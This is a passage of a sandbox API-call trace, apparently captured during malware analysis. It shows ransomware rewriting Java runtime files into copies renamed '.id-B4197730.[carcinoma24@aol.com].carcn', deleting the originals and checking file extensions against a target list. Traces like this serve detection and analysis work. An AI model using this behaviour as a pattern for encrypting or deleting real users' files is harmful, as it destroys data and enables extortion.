hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.997] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.997] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0263.997] GetLastError () returned 0x0 [0263.997] ReadFile (in: hFile=0x538, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0xeba, lpOverlapped=0x0) returned 1 [0263.999] WriteFile (in: hFile=0x554, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec0, lpOverlapped=0x0) returned 1 [0263.999] ReadFile (in: hFile=0x538, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0264.000] WriteFile (in: hFile=0x554, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xf0, lpOverlapped=0x0) returned 1 [0264.000] SetEndOfFile (hFile=0x554) returned 1 [0264.000] CloseHandle (hObject=0x554) returned 1 [0264.003] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.003] SetEndOfFile (hFile=0x538) returned 1 [0264.005] CloseHandle (hObject=0x538) returned 1 [0264.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0264.006] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 1 [0264.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0264.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0264.006] lstrlenW (lpString=".doc") returned 4 [0264.006] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0264.006] lstrlenW (lpString=".docx") returned 5 [0264.006] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0264.006] lstrlenW (lpString=".pdf") returned 4 [0264.006] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0264.006] lstrlenW (lpString=".xls") returned 4 [0264.006] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0264.006] lstrlenW (lpString=".xlsx") returned 5 [0264.006] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0264.006] lstrlenW (lpString=".ppt") returned 4 [0264.006] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0264.006] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0264.006] lstrlenW (lpString=".zip") returned 4 [0264.006] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0264.006] lstrlenW (lpString=".rar") returned 4 [0264.007] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0264.007] lstrlenW (lpString=".bz2") returned 4 [0264.007] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0264.007] lstrlenW (lpString=".7z") returned 3 [0264.007] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0264.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0264.007] lstrlenW (lpString=".dbf") returned 4 [0264.007] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0264.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0264.007] lstrlenW (lpString=".1cd") returned 4 [0264.007] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0264.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0264.007] lstrlenW (lpString=".jpg") returned 4 [0264.007] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0264.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0264.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0264.007] lstrlenW (lpString=".doc") returned 4 [0264.007] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0264.007] lstrlenW (lpString=".docx") returned 5 [0264.007] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0264.007] lstrlenW (lpString=".pdf") returned 4 [0264.007] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0264.007] lstrlenW (lpString=".xls") returned 4 [0264.007] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0264.007] lstrlenW (lpString=".xlsx") returned 5 [0264.007] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0264.007] lstrlenW (lpString=".ppt") returned 4 [0264.007] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0264.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0264.007] lstrlenW (lpString=".zip") returned 4 [0264.008] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0264.008] lstrlenW (lpString=".rar") returned 4 [0264.008] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0264.008] lstrlenW (lpString=".bz2") returned 4 [0264.008] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0264.008] lstrlenW (lpString=".7z") returned 3 [0264.008] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0264.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0264.008] lstrlenW (lpString=".dbf") returned 4 [0264.008] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0264.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0264.008] lstrlenW (lpString=".1cd") returned 4 [0264.008] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0264.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0264.008] lstrlenW (lpString=".jpg") returned 4 [0264.008] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0264.008] lstrcmpiW (lpString1=".src", lpString2=".carcn") returned 1 [0264.008] lstrlenW (lpString="fontconfig.properties.src") returned 25 [0264.008] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0264.009] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=10568) returned 1 [0264.009] CloseHandle (hObject=0x538) returned 1 [0264.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20 [0264.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0264.009] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0264.010] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.010] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.010] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0264.010] GetLastError () returned 0x0 [0264.010] ReadFile (in: hFile=0x538, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x2948, lpOverlapped=0x0) returned 1 [0264.052] WriteFile (in: hFile=0x554, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2950, lpOverlapped=0x0) returned 1 [0264.053] ReadFile (in: hFile=0x538, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0264.053] WriteFile (in: hFile=0x554, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x106, lpOverlapped=0x0) returned 1 [0264.054] SetEndOfFile (hFile=0x554) returned 1 [0264.054] CloseHandle (hObject=0x554) returned 1 [0264.055] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.055] SetEndOfFile (hFile=0x538) returned 1 [0264.058] CloseHandle (hObject=0x538) returned 1 [0264.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0264.064] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 1 [0264.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0264.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0264.077] lstrlenW (lpString=".doc") returned 4 [0264.078] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0264.078] lstrlenW (lpString=".docx") returned 5 [0264.078] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0264.078] lstrlenW (lpString=".pdf") returned 4 [0264.078] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0264.078] lstrlenW (lpString=".xls") returned 4 [0264.078] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0264.078] lstrlenW (lpString=".xlsx") returned 5 [0264.078] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0264.078] lstrlenW (lpString=".ppt") returned 4 [0264.078] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0264.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0264.078] lstrlenW (lpString=".zip") returned 4 [0264.078] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1 [0264.078] lstrlenW (lpString=".rar") returned 4 [0264.078] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0264.078] lstrlenW (lpString=".bz2") returned 4 [0264.078] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0264.078] lstrlenW (lpString=".7z") returned 3 [0264.078] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0264.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0264.078] lstrlenW (lpString=".dbf") returned 4 [0264.078] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0264.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0264.078] lstrlenW (lpString=".1cd") returned 4 [0264.078] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0264.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0264.078] lstrlenW (lpString=".jpg") returned 4 [0264.078] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0264.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0264.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0264.079] lstrlenW (lpString=".doc") returned 4 [0264.079] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0264.079] lstrlenW (lpString=".docx") returned 5 [0264.079] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0264.079] lstrlenW (lpString=".pdf") returned 4 [0264.079] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0264.079] lstrlenW (lpString=".xls") returned 4 [0264.079] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0264.079] lstrlenW (lpString=".xlsx") returned 5 [0264.079] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0264.079] lstrlenW (lpString=".ppt") returned 4 [0264.079] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0264.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0264.079] lstrlenW (lpString=".zip") returned 4 [0264.079] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1 [0264.079] lstrlenW (lpString=".rar") returned 4 [0264.079] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0264.079] lstrlenW (lpString=".bz2") returned 4 [0264.079] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0264.079] lstrlenW (lpString=".7z") returned 3 [0264.079] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0264.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0264.079] lstrlenW (lpString=".dbf") returned 4 [0264.079] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0264.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0264.079] lstrlenW (lpString=".1cd") returned 4 [0264.079] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0264.079] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0264.079] lstrlenW (lpString=".jpg") returned 4 [0264.079] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0264.080] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0264.080] lstrlenW (lpString="LucidaBrightDemiBold.ttf") returned 24 [0264.080] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0264.082] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=75144) returned 1 [0264.082] CloseHandle (hObject=0x538) returned 1 [0264.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20 [0264.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0264.082] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0264.083] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.083] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.083] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0264.093] GetLastError () returned 0x0 [0264.093] ReadFile (in: hFile=0x538, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x12588, lpOverlapped=0x0) returned 1 [0264.102] WriteFile (in: hFile=0x548, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x12590, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x12590, lpOverlapped=0x0) returned 1 [0264.104] ReadFile (in: hFile=0x538, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0264.104] WriteFile (in: hFile=0x548, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x104, lpOverlapped=0x0) returned 1 [0264.104] SetEndOfFile (hFile=0x548) returned 1 [0264.104] CloseHandle (hObject=0x548) returned 1 [0264.107] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.107] SetEndOfFile (hFile=0x538) returned 1 [0264.111] CloseHandle (hObject=0x538) returned 1 [0264.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0264.112] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 1 [0264.112] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0264.112] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0264.112] lstrlenW (lpString=".doc") returned 4 [0264.112] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0264.113] lstrlenW (lpString=".docx") returned 5 [0264.113] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0264.113] lstrlenW (lpString=".pdf") returned 4 [0264.113] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0264.113] lstrlenW (lpString=".xls") returned 4 [0264.113] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0264.113] lstrlenW (lpString=".xlsx") returned 5 [0264.113] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0264.113] lstrlenW (lpString=".ppt") returned 4 [0264.113] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0264.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0264.113] lstrlenW (lpString=".zip") returned 4 [0264.113] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0264.113] lstrlenW (lpString=".rar") returned 4 [0264.113] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0264.113] lstrlenW (lpString=".bz2") returned 4 [0264.113] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0264.113] lstrlenW (lpString=".7z") returned 3 [0264.113] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0264.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0264.113] lstrlenW (lpString=".dbf") returned 4 [0264.113] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0264.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0264.113] lstrlenW (lpString=".1cd") returned 4 [0264.113] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0264.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0264.113] lstrlenW (lpString=".jpg") returned 4 [0264.113] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0264.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0264.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0264.114] lstrlenW (lpString=".doc") returned 4 [0264.114] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0264.114] lstrlenW (lpString=".docx") returned 5 [0264.114] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0264.114] lstrlenW (lpString=".pdf") returned 4 [0264.114] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0264.114] lstrlenW (lpString=".xls") returned 4 [0264.114] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0264.114] lstrlenW (lpString=".xlsx") returned 5 [0264.114] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0264.114] lstrlenW (lpString=".ppt") returned 4 [0264.114] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0264.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0264.114] lstrlenW (lpString=".zip") returned 4 [0264.114] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0264.114] lstrlenW (lpString=".rar") returned 4 [0264.114] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0264.114] lstrlenW (lpString=".bz2") returned 4 [0264.114] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0264.114] lstrlenW (lpString=".7z") returned 3 [0264.114] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0264.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0264.114] lstrlenW (lpString=".dbf") returned 4 [0264.114] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0264.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0264.114] lstrlenW (lpString=".1cd") returned 4 [0264.114] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0264.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0264.114] lstrlenW (lpString=".jpg") returned 4 [0264.114] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0264.115] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0264.115] lstrlenW (lpString="LucidaBrightDemiItalic.ttf") returned 26 [0264.115] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0264.115] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=75124) returned 1 [0264.115] CloseHandle (hObject=0x538) returned 1 [0264.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20 [0264.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0264.116] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0264.116] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.116] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.116] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 